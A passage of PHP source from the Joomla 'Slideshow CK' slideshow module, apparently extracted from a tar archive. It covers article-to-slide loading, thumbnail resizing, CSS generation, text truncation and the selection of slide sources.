			$articles->setState('filter.category_id', $catids);
		}

		// Ordering
		$articles->setState('list.ordering', $params->get('article_ordering', 'a.ordering'));
		$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));

		// New Parameters
		$articles->setState('filter.featured', $params->get('show_front', 'show'));
//		$articles->setState('filter.author_id', $params->get('created_by', ""));
//		$articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1));
//		$articles->setState('filter.author_alias', $params->get('created_by_alias', ""));
//		$articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1));
		$excluded_articles = $params->get('excluded_articles', '');

		if ($excluded_articles) {
			$excluded_articles = explode("\r\n", $excluded_articles);
			$articles->setState('filter.article_id', $excluded_articles);
			$articles->setState('filter.article_id.include', false); // Exclude
		}

		$date_filtering = $params->get('date_filtering', 'off');
		if ($date_filtering !== 'off') {
			$articles->setState('filter.date_filtering', $date_filtering);
			$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$articles->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$articles->setState('filter.language', $app->getLanguageFilter());

		$items = $articles->getItems();

		// Display options
		$show_date = $params->get('show_date', 0);
		$show_date_field = $params->get('show_date_field', 'created');
		$show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s');
		$show_category = $params->get('show_category', 0);
		$show_hits = $params->get('show_hits', 0);
		$show_author = $params->get('show_author', 0);
		$show_introtext = $params->get('show_introtext', 0);
		$introtext_limit = $params->get('introtext_limit', 100);

		// Find current Article ID if on an article page
		$option = JRequest::getCmd('option');
		$view = JRequest::getCmd('view');

		if ($option === 'com_content' && $view === 'article') {
			$active_article_id = JRequest::getInt('id');
		}
		else {
			$active_article_id = 0;
		}

		// Prepare data for display using display options
		$slideItems = Array();
		foreach ($items as &$item)
		{
			$item->slug = $item->id.':'.$item->alias;
			$item->catslug = $item->catid ? $item->catid .':'.$item->category_alias : $item->catid;

			if ($access || in_array($item->access, $authorised)) {
				// We know that user has the privilege to view the article
				$item->link = \Joomla\CMS\Router\Route::_(\Joomla\Component\Content\Site\Helper\RouteHelper::getArticleRoute($item->slug, $item->catslug));
			}
			 else {
				// Angie Fixed Routing
				$app	= \Joomla\CMS\Factory::getApplication();
				$menu	= $app->getMenu();
				$menuitems	= $menu->getItems('link', 'index.php?option=com_users&view=login');
				if(isset($menuitems[0])) {
						$Itemid = $menuitems[0]->id;
					} elseif (JRequest::getInt('Itemid') > 0) { //use Itemid from requesting page only if there is no existing menu
						$Itemid = JRequest::getInt('Itemid');
					}

				$item->link = \Joomla\CMS\Router\Route::_('index.php?option=com_users&view=login&Itemid='.$Itemid);
			}

			// Used for styling the active article
			$item->active = $item->id == $active_article_id ? 'active' : '';

			$item->displayDate = '';
			if ($show_date) {
				$item->displayDate = \Joomla\CMS\HTML\HTMLHelper::_('date', $item->$show_date_field, $show_date_format);
			}

			if ($item->catid) {
				$item->displayCategoryLink = \Joomla\CMS\Router\Route::_(\Joomla\Component\Content\Site\Helper\RouteHelper::getCategoryRoute($item->catid));
				$item->displayCategoryTitle = $show_category ? '<a href="'.$item->displayCategoryLink.'">'.$item->category_title.'</a>' : '';
			}
			else {
				$item->displayCategoryTitle = $show_category ? $item->category_title : '';
			}

			$item->displayHits = $show_hits ? $item->hits : '';
			$item->displayAuthorName = $show_author ? $item->author : '';
//			if ($show_introtext) {
//				$item->introtext = \Joomla\CMS\HTML\HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_category.content');
//				$item->introtext = self::_cleanIntrotext($item->introtext);
//			}
			$item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : '';
			$item->displayReadmore = $item->alternative_readmore;
			
			// add the article to the slide
			$registry = new \Joomla\Registry\Registry;
			$registry->loadString($item->images);
			$item->images = $registry->toArray();
			$article_image  =false;
			$slideItem_article_text = '';
			switch ($params->get('articleimgsource', 'introimage')) {
				case 'firstimage':
					$search_images = preg_match('/<img(.*?)src="(.*?)"(.*?)\/>/is', $item->introtext, $imgresult);
					$article_image = (isset($imgresult[2]) && $imgresult[2] != '') ? $imgresult[2] : false;
					$slideItem_article_text = (isset($imgresult[2])) ? str_replace($imgresult[0], '', $item->introtext) : $item->introtext;
					break;
				case 'fullimage':
					$article_image = (isset($item->images['image_fulltext']) && $item->images['image_fulltext']) ? $item->images['image_fulltext'] : false;
					$slideItem_article_text = $item->introtext;
					break;
				case 'introimage':
				default:
					$article_image = (isset($item->images['image_intro']) && $item->images['image_intro']) ? $item->images['image_intro'] : false;
					$slideItem_article_text = $item->introtext;
					break;
			}
			
			if ( $article_image
					 && (count($slideItems) < (int) $params->get('count', 0) || (int) $params->get('count', 0) == 0)) {
				$slideItem = new stdClass();
				$slideItem->imgname = $article_image;
//				$slideItem->imgname = trim(str_replace('\\', '/', $item->images['image_intro']), '/');
				$slideItem->imgname = trim($slideItem->imgname, '\\');
				$slideItem->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . $slideItem->imgname;
				$slideItem->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $slideItem->imgname;
				$slideItem->imgvideo = null;
				$slideItem->slideselect = null;
				$slideItem->imgcaption = null;
				$slideItem->article = new stdClass();
				$slideItem->slidearticleid = null;
				$slideItem->imgalignment = null;
				$slideItem->imgtarget = 'default';
				$slideItem->imgtime = null;
				$slideItem->imglink = null;
				$slideItem->imgtitle = null;
				$slideItem->article->title = $item->title;
				$slideItem->article->text = \Joomla\CMS\HTML\HTMLHelper::_('content.prepare', $slideItem_article_text);
				if ($params->get('striptags', '0') == '1') {
					$slideItem->article->text = strip_tags($slideItem->article->text);
				}
				$slideItem->article->text = self::truncate($slideItem->article->text, $params->get('articlelength', '150'));
				$slideItem->article->link = $item->link;
				
				$slideItems[] = $slideItem;
			}
		}

		return $slideItems;
	}

	static function getImageDataFromfolder(&$item, $params) {
		$item->imgvideo = null;
		$item->slideselect = null;
		$item->imgcaption = null;
		$item->article = null;
		$item->imgalignment = null;
		$item->imgtarget = 'default';
		$item->imgtime = null;
		$item->imglink = null;
		// load the image data from txt
		$datafile = JPATH_ROOT . '/' . str_replace(\Joomla\CMS\Filesystem\File::getExt($item->imgname), 'txt', $item->imgname);
		$data = \Joomla\CMS\Filesystem\File::exists($datafile) ? file_get_contents($datafile) : '';
		$imgdatatmp = explode("\n", $data);

		$parmsnumb = count($imgdatatmp);
		for ($i = 0; $i < $parmsnumb; $i++) {
			$imgdatatmp[$i] = trim($imgdatatmp[$i]);
			$item->imgcaption = stristr($imgdatatmp[$i], "caption=") ? str_replace('caption=', '', $imgdatatmp[$i]) : $item->imgcaption;
			$item->slidearticleid = stristr($imgdatatmp[$i], "articleid=") ? str_replace('articleid=', '', $imgdatatmp[$i]) : $item->slidearticleid;
			$item->imgvideo = stristr($imgdatatmp[$i], "video=") ? str_replace('video=', '', $imgdatatmp[$i]) : $item->imgvideo;
			$item->imglink = stristr($imgdatatmp[$i], "link=") ? str_replace('link=', '', $imgdatatmp[$i]) : $item->imglink;
			$item->imgtime = stristr($imgdatatmp[$i], "time=") ? str_replace('time=', '', $imgdatatmp[$i]) : $item->imgtime;
			$item->imgtarget = stristr($imgdatatmp[$i], "target=") ? str_replace('target=', '', $imgdatatmp[$i]) : $item->imgtarget;
		}

		if ($item->imgvideo)
			$item->slideselect = 'video';
		
		// manage the title and description
		if (stristr($item->imgcaption, "||")) {
			$splitcaption = explode("||", $item->imgcaption);
			$item->imgcaption = '<div class="slideshowck_title">' . $splitcaption[0] . '</div><div class="slideshowck_description">' . $splitcaption[1] . '</div>';
		}

		if (isset($item->slidearticleid) && $item->slidearticleid) {
			$item = self::getArticle($item, $params);
		}

		return $item;
	}

	/**
	 * Set the correct video link
	 *
	 * $videolink string the video path
	 *
	 * @return string the new video path
	 */
	static function setVideolink($videolink) {
		// youtube
		if (stristr($videolink, 'youtu.be')) {
			$videolink = str_replace('youtu.be', 'www.youtube.com/embed', $videolink);
		} else if (stristr($videolink, 'www.youtube.com') AND !stristr($videolink, 'embed')) {
			$videolink = str_replace('youtube.com', 'youtube.com/embed', $videolink);
		}

		$videolink .= ( stristr($videolink, '?')) ? '&wmode=transparent' : '?wmode=transparent';

		return $videolink;
	}

	/**
	 * Create the list of all modules published as Object
	 *
	 * $file string the image path
	 * $x integer the new image width
	 * $y integer the new image height
	 *
	 * @return Boolean True on Success
	 */
	static function resizeImage($file, $x, $y = '', $thumbpath = 'th', $thumbsuffix = '_th') {

		if (!$file)
			return;

		$params = self::$_params;
		if (!$params->get('autocreatethumbs','1'))
			return;
			
		$thumbext = explode(".", $file);
		$thumbext = end($thumbext);
		$thumbfile = str_replace(\Joomla\CMS\Filesystem\File::getName($file), $thumbpath . "/" . \Joomla\CMS\Filesystem\File::getName($file), $file);
		$thumbfile = str_replace("." . $thumbext, $thumbsuffix . "." . $thumbext, $thumbfile);
		
		$filetmp = JPATH_ROOT . '/' . $file;
		$filetmp = str_replace("%20", " ", $filetmp);
		if (!Jfile::exists($filetmp))
			return;
		$size = getimagesize($filetmp);

		if ($size[0] > $size[1]) // paysage
		{
			$y = $x * $size[1] / $size[0];
		} else 
		{
//			$tmpx = $x;
//			$x = $y;
//			$y = $tmpx * $size[0] / $size[1];
			$x = $y * $size[0] / $size[1];
		}

		
		if ($size) {
			if (\Joomla\CMS\Filesystem\File::exists($thumbfile)) {
				return $thumbfile;
				// $thumbsize = getimagesize(JPATH_ROOT . '/' . $thumbfile);
				// if ($thumbsize[0] == $x || $thumbsuffix == '') {
					// return $thumbfile;
				// }
			}
			
			$thumbfolder = str_replace(\Joomla\CMS\Filesystem\File::getName($file), $thumbpath . "/", $filetmp);
			if (!\Joomla\CMS\Filesystem\Folder::exists($thumbfolder)) { 
				\Joomla\CMS\Filesystem\Folder::create($thumbfolder);
				\Joomla\CMS\Filesystem\File::copy(JPATH_ROOT . '/modules/mod_slideshowck/index.html', $thumbfolder . 'index.html' );
			}

			if ($size['mime'] == 'image/jpeg') {
				$img_big = imagecreatefromjpeg($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagejpeg($img_mini, JPATH_ROOT . '/' . $thumbfile);
			} elseif ($size['mime'] == 'image/png') {
				$img_big = imagecreatefrompng($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagepng($img_mini, JPATH_ROOT . '/' . $thumbfile);
			} elseif ($size['mime'] == 'image/gif') {
				$img_big = imagecreatefromgif($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagegif($img_mini, JPATH_ROOT . '/' . $thumbfile);
			}
			//echo 'Image redimensionnée !';
		}

		return $thumbfile;
	}

	/**
	 * Create the css
	 *
	 * $params \Joomla\Registry\Registry the module params
	 * $prefix integer the prefix of the params
	 *
	 * @return Array of css
	 */
	static function createCss($params, $prefix = 'menu') {
		$css = Array();
		$csspaddingtop = ($params->get($prefix . 'paddingtop') AND $params->get($prefix . 'usemargin')) ? 'padding-top: ' . self::testUnit($params->get($prefix . 'paddingtop', '0')) . ';' : '';
		$csspaddingright = ($params->get($prefix . 'paddingright') AND $params->get($prefix . 'usemargin')) ? 'padding-right: ' . self::testUnit($params->get($prefix . 'paddingright', '0')) . ';' : '';
		$csspaddingbottom = ($params->get($prefix . 'paddingbottom') AND $params->get($prefix . 'usemargin') ) ? 'padding-bottom: ' . self::testUnit($params->get($prefix . 'paddingbottom', '0')) . ';' : '';
		$csspaddingleft = ($params->get($prefix . 'paddingleft') AND $params->get($prefix . 'usemargin')) ? 'padding-left: ' . self::testUnit($params->get($prefix . 'paddingleft', '0')) . ';' : '';
		$css['padding'] = $csspaddingtop . $csspaddingright . $csspaddingbottom . $csspaddingleft;
		$cssmargintop = ($params->get($prefix . 'margintop') AND $params->get($prefix . 'usemargin')) ? 'margin-top: ' . self::testUnit($params->get($prefix . 'margintop', '0')) . ';' : '';
		$cssmarginright = ($params->get($prefix . 'marginright') AND $params->get($prefix . 'usemargin')) ? 'margin-right: ' . self::testUnit($params->get($prefix . 'marginright', '0')) . ';' : '';
		$cssmarginbottom = ($params->get($prefix . 'marginbottom') AND $params->get($prefix . 'usemargin')) ? 'margin-bottom: ' . self::testUnit($params->get($prefix . 'marginbottom', '0')) . ';' : '';
		$cssmarginleft = ($params->get($prefix . 'marginleft') AND $params->get($prefix . 'usemargin')) ? 'margin-left: ' . self::testUnit($params->get($prefix . 'marginleft', '0')) . ';' : '';
		$css['margin'] = $cssmargintop . $cssmarginright . $cssmarginbottom . $cssmarginleft;
		$bgcolor1 = ($params->get($prefix . 'bgcolor1') && $params->get($prefix . 'bgopacity')) ? self::hex2RGB($params->get($prefix . 'bgcolor1'), $params->get($prefix . 'bgopacity')) : $params->get($prefix . 'bgcolor1');
		$css['background'] = '';
		if ($params->get($prefix . 'bgopacity') == '0' AND $params->get($prefix . 'usebackground')) {
			$css['background'] = 'background: transparent;';
		} else if ($params->get($prefix . 'bgcolor1') AND $params->get($prefix . 'usebackground')) {
			$css['background'] = 'background: ' . $bgcolor1 . ';';
		}
//		$css['background'] = ($params->get($prefix . 'bgcolor1') AND $params->get($prefix . 'usebackground')) ? 'background: ' . $bgcolor1 . ';' : '';
		$css['background'] .= ( $params->get($prefix . 'bgimage') AND $params->get($prefix . 'usebackground')) ? 'background-image: url("' . \Joomla\CMS\Uri\Uri::ROOT() . $params->get($prefix . 'bgimage') . '");' : '';
		$css['background'] .= ( $params->get($prefix . 'bgimage') AND $params->get($prefix . 'usebackground')) ? 'background-repeat: ' . $params->get($prefix . 'bgimagerepeat') . ';' : '';
		$css['background'] .= ( $params->get($prefix . 'bgimage') AND $params->get($prefix . 'usebackground')) ? 'background-position: ' . $params->get($prefix . 'bgpositionx') . ' ' . $params->get($prefix . 'bgpositiony') . ';' : '';
		$css['gradient'] = ($css['background'] AND $params->get($prefix . 'bgcolor2') AND $params->get($prefix . 'usegradient')) ?
				"background: -moz-linear-gradient(top,  " . $params->get($prefix . 'bgcolor1', '#f0f0f0') . " 0%, " . $params->get($prefix . 'bgcolor2', '#e3e3e3') . " 100%);"
				. "background: -webkit-gradient(linear, left top, left bottom, color-stop(0%," . $params->get($prefix . 'bgcolor1', '#f0f0f0') . "), color-stop(100%," . $params->get($prefix . 'bgcolor2', '#e3e3e3') . ")); "
				. "background: -webkit-linear-gradient(top,  " . $params->get($prefix . 'bgcolor1', '#f0f0f0') . " 0%," . $params->get($prefix . 'bgcolor2', '#e3e3e3') . " 100%);"
				. "background: -o-linear-gradient(top,  " . $params->get($prefix . 'bgcolor1', '#f0f0f0') . " 0%," . $params->get($prefix . 'bgcolor2', '#e3e3e3') . " 100%);"
				. "background: -ms-linear-gradient(top,  " . $params->get($prefix . 'bgcolor1', '#f0f0f0') . " 0%," . $params->get($prefix . 'bgcolor2', '#e3e3e3') . " 100%);"
				. "background: linear-gradient(top,  " . $params->get($prefix . 'bgcolor1', '#f0f0f0') . " 0%," . $params->get($prefix . 'bgcolor2', '#e3e3e3') . " 100%); "
				. "filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='" . $params->get($prefix . 'bgcolor1', '#f0f0f0') . "', endColorstr='" . $params->get($prefix . 'bgcolor2', '#e3e3e3') . "',GradientType=0 );" : '';
		$css['borderradius'] = ($params->get($prefix . 'useroundedcorners')) ?
				'-moz-border-radius: ' . $params->get($prefix . 'roundedcornerstl', '0') . 'px ' . $params->get($prefix . 'roundedcornerstr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbl', '0') . 'px;'
				. '-webkit-border-radius: ' . $params->get($prefix . 'roundedcornerstl', '0') . 'px ' . $params->get($prefix . 'roundedcornerstr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbl', '0') . 'px;'
				. 'border-radius: ' . $params->get($prefix . 'roundedcornerstl', '0') . 'px ' . $params->get($prefix . 'roundedcornerstr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbr', '0') . 'px ' . $params->get($prefix . 'roundedcornersbl', '0') . 'px;' : '';
		$shadowinset = $params->get($prefix . 'shadowinset', 0) ? 'inset ' : '';
		$css['shadow'] = ($params->get($prefix . 'shadowcolor') AND $params->get($prefix . 'shadowblur') AND $params->get($prefix . 'useshadow')) ?
				'-moz-box-shadow: ' . $shadowinset . $params->get($prefix . 'shadowoffsetx', '0') . 'px ' . $params->get($prefix . 'shadowoffsety', '0') . 'px ' . $params->get($prefix . 'shadowblur', '') . 'px ' . $params->get($prefix . 'shadowspread', '0') . 'px ' . $params->get($prefix . 'shadowcolor', '') . ';'
				. '-webkit-box-shadow: ' . $shadowinset . $params->get($prefix . 'shadowoffsetx', '0') . 'px ' . $params->get($prefix . 'shadowoffsety', '0') . 'px ' . $params->get($prefix . 'shadowblur', '') . 'px ' . $params->get($prefix . 'shadowspread', '0') . 'px ' . $params->get($prefix . 'shadowcolor', '') . ';'
				. 'box-shadow: ' . $shadowinset . $params->get($prefix . 'shadowoffsetx', '0') . 'px ' . $params->get($prefix . 'shadowoffsety', '0') . 'px ' . $params->get($prefix . 'shadowblur', '') . 'px ' . $params->get($prefix . 'shadowspread', '0') . 'px ' . $params->get($prefix . 'shadowcolor', '') . ';' : '';
		$css['border'] = ($params->get($prefix . 'bordercolor') AND $params->get($prefix . 'borderwidth') AND $params->get($prefix . 'useborders')) ?
				'border: ' . $params->get($prefix . 'bordercolor', '#efefef') . ' ' . $params->get($prefix . 'borderwidth', '1') . 'px solid;' : '';
		$css['fontsize'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'fontsize')) ?
				'font-size: ' . $params->get($prefix . 'fontsize') . ';' : '';
		$css['fontcolor'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'fontcolor')) ?
				'color: ' . $params->get($prefix . 'fontcolor') . ';' : '';
		$css['fontweight'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'fontweight')) ?
				'font-weight: ' . $params->get($prefix . 'fontweight') . ';' : '';
		/* $css['fontcolorhover'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'fontcolorhover')) ?
		  'color: ' . $params->get($prefix . 'fontcolorhover') . ';' : ''; */
		$css['descfontsize'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'descfontsize')) ?
				'font-size: ' . $params->get($prefix . 'descfontsize') . ';' : '';
		$css['descfontcolor'] = ($params->get($prefix . 'usefont') AND $params->get($prefix . 'descfontcolor')) ?
				'color: ' . $params->get($prefix . 'descfontcolor') . ';' : '';
		return $css;
	}

	/**
	 * Truncates text blocks over the specified character limit and closes
	 * all open HTML tags. The method will optionally not truncate an individual
	 * word, it will find the first space that is within the limit and
	 * truncate at that point. This method is UTF-8 safe.
	 *
	 * @param   string   $text       The text to truncate.
	 * @param   integer  $length     The maximum length of the text.
	 * @param   boolean  $noSplit    Don't split a word if that is where the cutoff occurs (default: true).
	 * @param   boolean  $allowHtml  Allow HTML tags in the output, and close any open tags (default: true).
	 *
	 * @return  string   The truncated text.
	 *
	 * @since   11.1
	 */
	public static function truncate($text, $length = 0, $noSplit = true, $allowHtml = true) {
		if ($length == 0) return '';
		// Check if HTML tags are allowed.
		if (!$allowHtml) {
			// Deal with spacing issues in the input.
			$text = str_replace('>', '> ', $text);
			$text = str_replace(array('&nbsp;', '&#160;'), ' ', $text);
			$text = JString::trim(preg_replace('#\s+#mui', ' ', $text));

			// Strip the tags from the input and decode entities.
			$text = strip_tags($text);
			$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');

			// Remove remaining extra spaces.
			$text = str_replace('&nbsp;', ' ', $text);
			$text = JString::trim(preg_replace('#\s+#mui', ' ', $text));
		}

		// Truncate the item text if it is too long.
		if ($length > 0 && JString::strlen($text) > $length) {
			// Find the first space within the allowed length.
			$tmp = JString::substr($text, 0, $length);

			if ($noSplit) {
				$offset = JString::strrpos($tmp, ' ');
				if (JString::strrpos($tmp, '<') > JString::strrpos($tmp, '>')) {
					$offset = JString::strrpos($tmp, '<');
				}
				$tmp = JString::substr($tmp, 0, $offset);

				// If we don't have 3 characters of room, go to the second space within the limit.
				if (JString::strlen($tmp) > $length - 3) {
					$tmp = JString::substr($tmp, 0, JString::strrpos($tmp, ' '));
				}
			}

			if ($allowHtml) {
				// Put all opened tags into an array
				preg_match_all("#<([a-z][a-z0-9]*)\b.*?(?!/)>#i", $tmp, $result);
				$openedTags = $result[1];
				$openedTags = array_diff($openedTags, array("img", "hr", "br"));
				$openedTags = array_values($openedTags);

				// Put all closed tags into an array
				preg_match_all("#</([a-z]+)>#iU", $tmp, $result);
				$closedTags = $result[1];

				$numOpened = count($openedTags);

				// All tags are closed
				if (count($closedTags) == $numOpened) {
					return $tmp . '...';
				}
				$tmp .= '...';
				$openedTags = array_reverse($openedTags);

				// Close tags
				for ($i = 0; $i < $numOpened; $i++) {
					if (!in_array($openedTags[$i], $closedTags)) {
						$tmp .= "</" . $openedTags[$i] . ">";
					} else {
						unset($closedTags[array_search($openedTags[$i], $closedTags)]);
					}
				}
			}

			$text = $tmp;
		}

		return $text;
	}
	
	/**
	 * Convert a hexa decimal color code to its RGB equivalent
	 *
	 * @param string $hexStr (hexadecimal color value)
	 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
	 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
	 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
	 */
	static function hex2RGB($hexStr, $opacity) {
		if (!stristr($opacity, '.'))
			$opacity = $opacity / 100;
		$hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
		$rgbArray = array();
		if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
			$colorVal = hexdec($hexStr);
			$rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
			$rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
			$rgbArray['blue'] = 0xFF & $colorVal;
		} elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
			$rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
			$rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
			$rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
		} else {
			return false; //Invalid hex color code
		}
		$rgbacolor = "rgba(" . $rgbArray['red'] . "," . $rgbArray['green'] . "," . $rgbArray['blue'] . "," . $opacity . ")";

		return $rgbacolor;
	}

	/**
	 * Test if there is already a unit, else add the px
	 *
	 * @param string $value
	 * @return string
	 */
	static function testUnit($value) {
		if ((stristr($value, 'px')) OR (stristr($value, 'em')) OR (stristr($value, '%'))) {
			return $value;
		}

		if ($value == '') {
			$value = 0;
		}

		return $value . 'px';
	}

	/*
	 * Make empty slide object
	 */
	public static function initItem() {
		$item = new stdClass();
		$item->imgname = null;
		$item->imgthumb = null;
		$item->imgvideo = null;
		$item->slideselect = null;
		$item->imgcaption = null;
		$item->article = new stdClass();
		$item->slidearticleid = null;
		$item->imgalignment = null;
		$item->imgtarget = 'default';
		$item->imgtime = null;
		$item->imglink = null;
		$item->imgtitle = null;
		$item->article->title = null;
		$item->article->text = null;

		return $item;
	}

	/**
	 * Get a subtring with the max word setting
	 *
	 * @param string $text;
	 * @param int $length limit characters showing;
	 * @param string $replacer;
	 * @return tring;
	 */

	public static function substrword($text, $length = 100, $replacer = '...', $isStrips = true, $stringtags = '') {
		if($isStrips){
			$text = preg_replace('/\<p.*\>/Us','',$text);
			$text = str_replace('</p>','<br/>',$text);
			$text = strip_tags($text, $stringtags);
		}
		$tmp = explode(" ", $text);

		if (count($tmp) < $length)
			return $text;

		$text = implode(" ", array_slice($tmp, 0, $length)) . $replacer;

		return $text;
	}

	/**
	 * Get a subtring with the max length setting.
	 *
	 * @param string $text;
	 * @param int $length limit characters showing;
	 * @param string $replacer;
	 * @return tring;
	 */
	public static function substring($text, $length = 100, $replacer = '...', $isStrips = true, $stringtags = '') {
	
		if($isStrips){
			$text = preg_replace('/\<p.*\>/Us','',$text);
			$text = str_replace('</p>','<br/>',$text);
			$text = strip_tags($text, $stringtags);
		}
		
		if(function_exists('mb_strlen')){
			if (mb_strlen($text) < $length)	return $text;
			$text = mb_substr($text, 0, $length);
		}else{
			if (strlen($text) < $length)	return $text;
			$text = substr($text, 0, $length);
		}
		
		return $text . $replacer;
	}
}
com_slideshowck/extensions/mod_slideshowck/legacy.php000060400000007121152455305260017257 0ustar00<?php

/**
 * @copyright	Copyright (C) 2012-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Slideshow CK
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die;

if ($params->get('slideshowckhikashop_enable', '0') == '1') {
	if (\Joomla\CMS\Filesystem\File::exists(JPATH_ROOT . '/plugins/system/slideshowckhikashop/helper/helper_slideshowckhikashop.php')) {
		require_once JPATH_ROOT . '/plugins/system/slideshowckhikashop/helper/helper_slideshowckhikashop.php';
		$items = modSlideshowckhikashopHelper::getItems($params);
	} else {
		echo '<p style="color:red;font-weight:bold;">File /plugins/system/slideshowckhikashop/helper/helper_slideshowckhikashop.php not found ! Please download the patch for Slideshow CK - Hikashop on <a href="https://www.joomlack.fr">https://www.joomlack.fr</a></p>';
		return false;
	}
} else if ($params->get('slideshowckjoomgallery_enable', '0') == '1') {
	if (\Joomla\CMS\Filesystem\File::exists(JPATH_ROOT . '/plugins/system/slideshowckjoomgallery/helper/helper_slideshowckjoomgallery.php')) {
		require_once JPATH_ROOT . '/plugins/system/slideshowckjoomgallery/helper/helper_slideshowckjoomgallery.php';
		$items = modSlideshowckjoomgalleryHelper::getItems($params);
	} else {
		echo '<p style="color:red;font-weight:bold;">File /plugins/system/slideshowckjoomgallery/helper/helper_slideshowckjoomgallery.php not found ! Please download the patch for Slideshow CK - Joomgallery on <a href="https://www.joomlack.fr">https://www.joomlack.fr</a></p>';
		return false;
	}
} else if ($params->get('slideshowckvirtuemart_enable', '0') == '1') {
	if (\Joomla\CMS\Filesystem\File::exists(JPATH_ROOT . '/plugins/system/slideshowckvirtuemart/helper/helper_slideshowckvirtuemart.php')) {
		require_once JPATH_ROOT . '/plugins/system/slideshowckvirtuemart/helper/helper_slideshowckvirtuemart.php';
		$items = modSlideshowckvirtuemartHelper::getItems($params);
	} else {
		echo '<p style="color:red;font-weight:bold;">File /plugins/system/slideshowckvirtuemart/helper/helper_slideshowckvirtuemart.php not found ! Please download the patch for Slideshow CK - Virtuemart on <a href="https://www.joomlack.fr">https://www.joomlack.fr</a></p>';
		return false;
	}
} else if ($params->get('slideshowckk2_enable', '0') == '1') {
	if (\Joomla\CMS\Filesystem\File::exists(JPATH_ROOT . '/plugins/system/slideshowckk2/helper/helper_slideshowckk2.php')) {
		require_once JPATH_ROOT . '/plugins/system/slideshowckk2/helper/helper_slideshowckk2.php';
		$items = modSlideshowckk2Helper::getItems($params);
	} else {
		echo '<p style="color:red;font-weight:bold;">File /plugins/system/slideshowckk2/helper/helper_slideshowckk2.php not found ! Please download the patch for Slideshow CK - K2 on <a href="https://www.joomlack.fr">https://www.joomlack.fr</a></p>';
		return false;
	}
} 

else {
	switch ($params->get('slidesssource', 'slidesmanager')) {
		case 'folder':
			$items = modSlideshowckHelper::getItemsFromfolder($params);

			break;
		case 'autoloadfolder':
			$items = modSlideshowckHelper::getItemsAutoloadfolder($params);

			break;
		case 'autoloadarticlecategory':
			$items = modSlideshowckHelper::getItemsAutoloadarticlecategory($params);
			break;
		case 'flickr':
			$items = modSlideshowckHelper::getItemsAutoloadflickr($params);
			break;
		case 'googlephotos':
			include_once(JPATH_SITE. '/plugins/system/slideshowckparams/helper/class-helpersource-google.php');
			$items = SlideshowckHelpersourceGoogle::getItems($params);
			break;
		default:
//			$items = modSlideshowckHelper::getItems($params);
			break;
	}

//	if ($params->get('displayorder', 'normal') == 'shuffle')
//		shuffle($items);
}
com_slideshowck/extensions/mod_slideshowck/mod_slideshowck.php000060400000020231152455305260021166 0ustar00<?php
/**
 * @copyright	Copyright (C) 2012-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Slideshow CK
 * @license		GNU/GPL
 * */

// no direct access
defined('_JEXEC') or die;

include_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.php';
include_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/helper.php';

if (version_compare(JVERSION, '4', '<')) include_once dirname(__FILE__) . '/helper.php';
if (! defined('SLIDESHOWCK_PATH')) define('SLIDESHOWCK_PATH', JPATH_ROOT . '/administrator/components/com_slideshowck');

// load the items
$source = $params->get('source', 'slidesmanager');
if ($source != 'slidesmanager') {
	$sourceFile = JPATH_ROOT . '/plugins/slideshowck/' . strtolower($source) . '/helper/helper_' . strtolower($source) . '.php';
